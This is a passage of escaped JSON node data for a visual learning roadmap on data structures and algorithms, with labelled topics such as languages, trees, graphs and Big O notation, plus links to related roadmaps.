\"width\": 267,\n      \"height\": 49,\n      \"id\": \"P5IZjP0g1_fnvHy3YTR4q\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -166.95968546864998,\n        \"y\": 3662.3701416719264\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Structures & Algorithms\",\n        \"href\": \"https://roadmap.sh/datastructures-and-algorithms\",\n        \"color\": \"#FFFFFf\",\n        \"backgroundColor\": \"#4136D4\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D4\",\n        \"oldId\": \"dlGf3ZdFXYx0Z6Viu2x-l\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -166.95968546864998,\n        \"y\": 3662.3701416719264\n      },\n      \"style\": {},\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FFDNXuerzZhDzDuGnr06q\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -520.8639110926986,\n        \"y\": -53.59494284475129\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Other Resources\",\n        \"links\": [\n          {\n            \"id\": \"KzjCrwLuhTpRzXxuxXoN6\",\n            \"label\": \"Coding Interview University\",\n            \"url\": \"https://github.com/jwasham/coding-interview-university\"\n          }\n        ],\n        \"oldId\": \"LOTsf9hmAVwt06ZulhoIi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 345,\n      \"height\": 97,\n      \"positionAbsolute\": {\n        \"x\": -520.8639110926986,\n        \"y\": -53.59494284475129\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 345,\n        \"height\": 97\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 345,\n        \"height\": 97\n      }\n    },\n    {\n      \"id\": \"LOTsf9hmAVwt06ZulhoIi\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -519.0253254557053,\n        \"y\": -243.55566976101449\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"KzjCrwLuhTpRzXxuxXoN6\",\n            \"label\": \"Data Structures and Algorithms\",\n            \"url\": \"https://roadmap.sh/datastructures-and-algorithms\"\n          },\n          {\n            \"id\": \"Wc3X1CTTaeJYznoU-VFTt\",\n            \"label\": \"System Design Roadmap\",\n            \"url\": \"https://roadmap.sh/system-design\"\n          },\n          {\n            \"id\": \"fCoX6FYDUKZe2xta2Aw24\",\n            \"label\": \"Software Design & Architecture\",\n            \"url\": \"https://roadmap.sh/software-design-architecture\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 345,\n      \"height\": 161,\n      \"positionAbsolute\": {\n        \"x\": -519.0253254557053,\n        \"y\": -243.55566976101449\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 345,\n        \"height\": 161\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 345,\n        \"height\": 161\n      }\n    },\n    {\n      \"id\": \"tU4Umtnfu01t9gLlnlK6b\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -128.36391109269857,\n        \"y\": 56.94433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Pick a Language\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 259,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -128.36391109269857,\n        \"y\": 56.94433023898546\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 259,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RlKZzs44biQPgxD0tK1qx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 285.6360889073014,\n        \"y\": -22.555669761014542\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Python\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 98,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 98\n      },\n      \"positionAbsolute\": {\n        \"x\": 285.6360889073014,\n        \"y\": -22.555669761014542\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 98,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mWW88VnkqWgDz02qw5zU-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 385.6360889073014,\n        \"y\": -22.555669761014542\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Go\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 385.6360889073014,\n        \"y\": -22.555669761014542\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jHKCLfLml8oZyj4829gx0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 285.6360889073014,\n        \"y\": 29.944330238985458\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"C#\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 98,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 98\n      },\n      \"positionAbsolute\": {\n        \"x\": 285.6360889073014,\n        \"y\": 29.944330238985458\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 98,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1bDjg-KBDKRmE6f1MWY8l\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 285.6360889073014,\n        \"y\": 134.94433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rust\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 202,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 202,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 285.6360889073014,\n        \"y\": 134.94433023898546\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 202,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1kQJs-3Aw8Bi7d_Xh67zS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 385.6360889073014,\n        \"y\": 29.944330238985458\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"C++\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 385.6360889073014,\n        \"y\": 29.944330238985458\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"n4IsklfYJXFIyF1rGWuEa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 285.6360889073014,\n        \"y\": 82.44433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"C\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 98,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 98\n      },\n      \"positionAbsolute\": {\n        \"x\": 285.6360889073014,\n        \"y\": 82.44433023898546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 98,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1lQSUFrrIGq19nUnM92-I\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 385.6360889073014,\n        \"y\": 82.44433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Java\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 385.6360889073014,\n        \"y\": 82.44433023898546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NM7q5REW1sJgMhxJhPpLT\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -128.36391109269857,\n        \"y\": 200.90713538179\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Data Structures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UpBrpmrUwYUB9eesNxCq5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 259,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -128.36391109269857,\n        \"y\": 200.90713538179\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 259,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gr8BK6vq4AVwp_aUozZmf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -379.3639110926986,\n        \"y\": 147.90713538179\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Linked List\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -379.3639110926986,\n        \"y\": 147.90713538179\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hJB5gO9tosRlC4UmdSNzl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -477.3639110926986,\n        \"y\": 200.90713538179\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Stack\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -477.3639110926986,\n        \"y\": 200.90713538179\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JI990pDX2jjNe6IH_Y_t0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -378.3639110926986,\n        \"y\": 200.90713538179\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Queue\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -378.3639110926986,\n        \"y\": 200.90713538179\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"G2dN2FO0SN_I-5AhO_EUk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -378.3639110926986,\n        \"y\": 254.90713538179\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hash Table\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 132,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -378.3639110926986,\n        \"y\": 254.90713538179\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 132,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TwW6SO2IXqkxJXVjLzdwU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -477.8639110926986,\n        \"y\": 147.90713538179\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Array\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -477.8639110926986,\n        \"y\": 147.90713538179\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_eWqiWUmOj0zUo_Ix3j1O\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -477.8639110926986,\n        \"y\": 253.94433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Tree\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -477.8639110926986,\n        \"y\": 253.94433023898546\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"G9dnegZ6zNvxrCZ3O_b_z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -474.8639110926986,\n        \"y\": 334.44433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Binary Tree\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -474.8639110926986,\n        \"y\": 334.44433023898546\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"et7l85gnxjvzD2tDyHT_T\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -474.8639110926986,\n        \"y\": 387.44433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Binary Search Tree\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -474.8639110926986,\n        \"y\": 387.44433023898546\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Q8ZJNeTbc22Q08Mra-McY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -474.8639110926986,\n        \"y\": 440.44433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Full Binary Tree\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -474.8639110926986,\n        \"y\": 440.44433023898546\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Jx1WWCjm8jkfAGtHv15n1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -474.8639110926986,\n        \"y\": 493.44433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Complete Binary Tree\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -474.8639110926986,\n        \"y\": 493.44433023898546\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZaWGLvZyu4sIPn-zwVISN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -474.8639110926986,\n        \"y\": 546.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \" Balanced Tree\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -474.8639110926986,\n        \"y\": 546.4443302389855\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"w4sxmZR1BjX6wlrZmuOlf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -474.8639110926986,\n        \"y\": 599.4443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Unbalanced Tree\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -474.8639110926986,\n        \"y\": 599.4443302389855\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vQm046o6ozcvLoqg9L6eL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 287.1360889073014,\n        \"y\": 201.40713538179\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Graph\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 287.1360889073014,\n        \"y\": 201.40713538179\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6Jy8SXHuYA08h9iLjKFWR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 286.1360889073014,\n        \"y\": 280.90713538179\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Directed Graph\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 286.1360889073014,\n        \"y\": 280.90713538179\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QGx8it2N_85PiPVjpTGK_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 286.1360889073014,\n        \"y\": 333.90713538179\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Undirected Graph\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 286.1360889073014,\n        \"y\": 333.90713538179\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"L4xtWOdqGUf4SbJkoOsNM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 286.1360889073014,\n        \"y\": 386.90713538179\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Spanning Tree\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 286.1360889073014,\n        \"y\": 386.90713538179\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Y12FonomjizN8-jM8AyCi\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 309.1360889073014,\n        \"y\": 440.94433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Representation\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 136,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 309.1360889073014,\n        \"y\": 440.94433023898546\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"HZ1kk0TQ13FLC9t13BZl5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 285.1360889073014,\n        \"y\": 530.9443302389855\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Adjacency Matrix\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 285.1360889073014,\n        \"y\": 530.9443302389855\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rTnKJcPniUtqvfOyC88N0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 285.1360889073014,\n        \"y\": 477.94433023898546\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Adjacency List\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 184,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 184,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 285.1360889073014,\n        \"y\": 477.94433023898546\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 184,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pw3ZCC3HKU7D5SQwte4vE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 384.2680496244592,\n        \"y\": 201.40713538179\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Heap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 96,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 384.2680496244592,\n        \"y\": 201.40713538179\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UpBrpmrUwYUB9eesNxCq5\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -128.36391109269857,\n        \"y\": 688.892308338741\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Asymptotic Notation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 259,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -128.36391109269857,\n        \"y\": 688.892308338741\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 259,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"c-NrTtJuNihbHzyPEOKTW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -162.23550208669644,\n        \"y\": 495.47581692833467\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Big O\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 133,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 133\n      },\n      \"positionAbsolute\": {\n        \"x\": -162.23550208669644,\n        \"y\": 495.47581692833467\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 133,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ThLpVZQIJ4diY5m0dik8m\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -162.23550208669644,\n        \"y\": 548.4758169283347\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Big-Theta\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 133,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 133\n      },\n      \"positionAbsolute\": {\n        \"x\": -162.23550208669644,\n        \"y\": 548.4758169283347\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 133,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"X33735aeAVSlJ6yv9GS-h\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -162.23550208669644,\n        \"y\": 601.4758169283347\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Big Omega\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 133,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 133\n      },\n      \"positionAbsolute\": {\n        \"x\": -162.23550208669644,\n        \"y\": 601.4758169283347\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 133,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AorTduRt5FU6ZxuZo6H6p\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 39.87782517276179,\n        \"y\": 292.84403101269277\n      },\n      \"selected\": 